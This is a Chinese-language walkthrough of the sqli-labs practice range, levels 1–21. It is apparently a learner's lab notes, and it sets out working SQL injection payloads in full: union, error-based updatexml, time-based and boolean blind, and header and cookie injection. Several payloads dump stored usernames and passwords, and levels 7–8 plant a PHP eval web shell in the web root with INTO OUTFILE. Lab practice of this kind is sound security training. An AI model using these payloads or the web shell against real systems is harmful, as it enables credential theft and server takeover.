Less1
首先在上方URL地址栏输入代码,判断是否存在注入点
?id=1' and 1=1 -- -
输入代码回车后,有回显,说明存在注入点,再输入下面的代码
?id=1' and 1=2" -- -
如上图显示,没有回显,说明可以利用 ' 字符注入
确定好注入字符后使用下面的代码判断有多少列,超出列数则会报错,此处采用二分法,猜测尝试。
?id=1' order by 4 --
判断出有多少列后,再输入下方代码判断数据显示点(id要改为0或负数,使用UNION联合查询)
?id=0' union select 1,2,3 -- -
把id要改为0或负数的作用
确保联合查询的结果可见:通过将id设置为0或负数,攻击者可以确保原始查询返回的记录尽量少,甚至没有记录。这使得UNION查询的结果更容易被观察到。
避免意外的数据干扰:如果原始查询返回了很多记录,这些记录可能会掩盖联合查询返回的数据。将id设置为一个不可能存在的值(如0或负数),可以避免这种情况,从而更容易查看和分析联合查询的结果。
利用数据库的特性:在某些数据库系统中,id为0或负数的记录可能不存在。这有助于确保只有UNION查询返回的结果被显示。
使用下面的代码爆出数据库名称及版本信息
?id=-1'union select 1,database(),version()--+
爆出数据表名称
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆出字段信息
?id=-99' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
爆出用户名和密码
?id=-99' union select 1,group_concat(concat_ws(';',username,password)),3 from security.users--+
Less2
首先判断注入点,在地址栏输入代码,
?id=1'and 1=1--+
发现报错,如上图所示,说明存在注入点,但不是用单引号进行闭合。
使用双引号依旧报错,且报错信息依旧如上图,看不到数字,推测为数字性注入,尝试下面的代码
id=1
如图,证明猜测正确。然后开始判断数据库的列数,判断数据显示点,然后开始爆破,获取信息,该部分操作与less1完全相同,只需把less1中的单引号去掉即可。代码及效果图如下
id=1order by 3 -- -
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
less3
除注入类型改变外,其余部分与前两关一致。
判断注入点
?id=1'
判断可能为括号闭合,输入代码
?id=1') --+
?id=1') order by 3 --+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
less4
判断注入点
?id=1"
如图,证明存在漏洞
?id=1")--+
证明使用双引号闭合
接下来的爆破操作及代码与less3-------')的字符型注入基本一致,只需把单引号换成双引号即可。
less5
判断注入点,分别输入
?id=1
?id=1'
如上图,仅仅返回报错和You are in.....界面,所以可以使用报错注入,且使用单引号闭合
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1--------爆出数据库名
updatexml(1,concat(0x7e,database(),0x7e),1)
- updatexml:这是MySQL的一个函数,通常用于更新XML数据。在这个例子中,它被用作利用函数。
- 1:这是
updatexml
函数的第一个参数,在这里无实际意义。 - concat(0x7e,database(),0x7e):
- concat:连接字符串的函数。
- 0x7e:这是十六进制表示的
~
符号(即ASCII码126)。 - database():这是MySQL的一个函数,用于返回当前数据库的名称。
- 这个部分的作用是生成一个字符串,如
~databasename~
,其中databasename
是当前数据库的名称。
- 1:这是
updatexml
函数的第三个参数,在这里无实际意义。
由于updatexml
函数的使用不当,它会生成一个错误消息,错误消息中包含我们构造的字符串,从而泄露当前数据库的名称。
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+ --------爆出表名
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+ --------爆出字段名
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+-------爆出字段下的内容
less6-------字符型错误回显注入
判断注入点,使用?id=1"判断报错得出为双引号字符型注入
其余爆破数据库信息的操作和代码与less5一致,只需把单引号改为双引号即可,详细代码参考less5
less7
在URL地址栏添加
?id=1'
发现报错如上图,此时我们判断出,闭合方式中含有单引号,我们假设只有单引号,加上or 1=1 --+
如果完全闭合将不会报错,若未完全闭合,就会报错。
有报错,所以没有完全闭合,继续尝试加括号
?id=1'))
未报错,说明完全闭合。
没有回显和精确的报错信息,所以联合注入和报错注入无法使用。所以只能利用文件写入注入。
进行文件配置,首先进入到下图的文件下
按住shift在空白处单击鼠标右键进入cmd命令界面
输入:mysql -u root -p
show variables like '%secure%';
需要要将NULL更改,进行如下操作
双击打开图中文件
在箭头所指位置上方添加红色矩形框中的内容。完成后,再次回到命令行界面,输入之前的命令即可看到之前的NULL已经更改。
然后回到靶场界面,在地址栏输入以下代码
?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["123456"]);?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php"--+
此时在地址栏进行的木马注入已经完成。
使用中国蚁剑连接木马
对应位置添加地址和密码(默认密码为root)
地址栏输入:
?id=-1')) union select 1,2,group_concat(username,0x7e,password)from users into outfile "C:\\phpStudy\\WWW\\result.txt"--+
less8
这一关与less7类似,只是注入的代码有些许变化。
判断闭合方式
?id=1'
?id=1"
?id=1' UNION SELECT 1,2,'<?php @eval($_POST["123456"]);?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-8\\test.php"--+
less9
通过之前的验证方式验证时页面均没有改变
所以尝试时间盲注。
?id=1' and sleep(10) --+
页面没有立即刷新,所以可采取时间盲注
?id=1' and if(length((select database()))=8,sleep(10),1)--+
二分法尝试直到数据库长度为8是页面延迟刷新,证明数据库名长度为8
?id=1' and if(left((select database()),1)='s',sleep(10),1)--+ 页面延迟十秒刷新,说明数据库名第一个字母为's'
?id=1' and if(substr((select database()),2,1)='e',sleep(10),1)--+
?id=1' and if(substr((select database()),3,1)='e',sleep(10),1)--+
以此类推逐个查询。
less10
通过之前的验证方式验证时页面均没有改变,无法获得有价值的信息
所以尝试时间盲注,发现使用双引号闭合时,页面有明显的延迟
?id=1" and if(length(database())=8,sleep(10),1) --+
所以这里需要用双引号闭合,后续的爆破数据库操作与代码与less9基本一致,只需将单引号改为双引号即可。详情参考less9
?id=1" and if(left((select database()),1)='s',sleep(10),1)--+
less11
post类型的注入,可以在每个输入框中尝试注入,首先在在username中使用单引号进行尝试
登录成功,说明为单引号闭合,无回显,可尝试联合查询注入
1'or 1=1 order by 2#判断列数
1' union select 1,2#判断显示点
' union select database(),2#,显示数据库名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'# 显示数据表名称
'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'# 显示数据字段
'union select 1,group_concat(concat_ws(';',username)) from security.users#爆账号
'union select 1,group_concat(concat_ws(';',password)) from security.users#爆密码
less12
post类型的注入,可以在每个输入框中尝试注入
1") or 1=1#,当输入这条代码时登录成功,判断闭合方式为双引号加括号
后续操作步骤与代码与less11基本一致,只需将闭合方式改为双引号加括号即可。
less13
判断注入点
输入: \
报错提示如图,
输入:1') or 1=1#登录
无任何回显,可使用报错注入,闭合方式为单引号加括号
1') and updatexml(1,concat(0x7e,database()),1)# 爆出数据库名称
后续爆表名、数据字段等信息操作步骤和代码与less5基本一致,此处不过多赘述,详情参考less5
闭合方式改为单引号加括号即可
less14
判断注入点
输入:\
报错信息:使用双引号闭合
1" or 1=1#
登录成功,爆破数据库名称。
" and updatexml(1,concat(0x7e,database()),1) # 爆出数据库名称
后续爆表名、数据字段等信息操作步骤和代码与less13基本一致,此处不过多赘述,详情参考less13闭合方式改为双引号即可
less15
无回显,使用各种符号结合or 1=1进行判断注入点
-1' or 1=1#
判断闭合方式为单引号
爆数据库
1' or substring(database(),1,1)='s'#
1' or database()='security'#
less16
1") or 1=1#
判断出闭合方式为双引号+括号
爆数据库
1") or substring(database(),1,1)='s'#
1") or database()='security'#
less17
可以看到上面有一个大大的黄字,说是密码重置,那么一般遇到密码重置的页面,我们一般都是通过给出正确的用户名来进行修改,先对username判断有没有注入点
多次尝试,发现有做防护,只有在username完全是存在的用户名时才不会报错
username无注入点,接下来测试password
username:admin
new password:'
username:admin
new password:'and updatexml(1,concat(0x7e,database()),1) #
后续重复步骤不在过多演示
less18
判断注入点
在username和password中各种测试,发现除正常登录外无任何异常。
选择一个正常的账户进行登录
admin
admin
有回显,内容其实是请求头中的内容user-agent,抓包放入重放器
在重放器中找到我们的user-agent来判断是否存在注入点
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0)'
发现报错,可以采用报错注入
User-Agent: ' or updatexml(1,concat(0x7e,(select database())),1),1) #
得到数据库名,后续操作不再演示
less19
判断注入点
先使用admin,admin或一个确定的账户登录,查看回显
回显refer,用老办法尝试username和password处并不存在注入点,因此抓包判断refer
Referer: '
报错,发现闭合方式为单引号和括号,可以使用报错注入
爆破数据库名
Referer: ') or updatexml(1,concat(0x7e,database()),1)#
直接闭合单引号括号,报错猜测是插入语句
验证是否为插入语句
') #
插入语句报错
' or updatexml(1,concat(0x7e,database()),1))#
得到数据库名,后面不再演示
less20
依旧在username和password中找不到注入点
使用正确的账户进行登录admin,admin
抓包并上传到重放器,抓登陆后的
在username处进行尝试看看是否存在注入点
Cookie: uname=' ;
根据报错信息可知其使用单引号闭合
uname=' and updatexml(1,concat(0x7e,database()),1)#
得到数据库名,后面不再赘述
less21
判断注入点
使用正常用户登录admin,admin
刷新、抓包、Ctrl+R发送到重放器
判断注入点
Cookie: uname=Jw==;
根据报错信息可知,闭合方式为单引号+括号
Cookie: uname=JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCkpLDEpIw== ;
得到数据库名称,后面不再赘述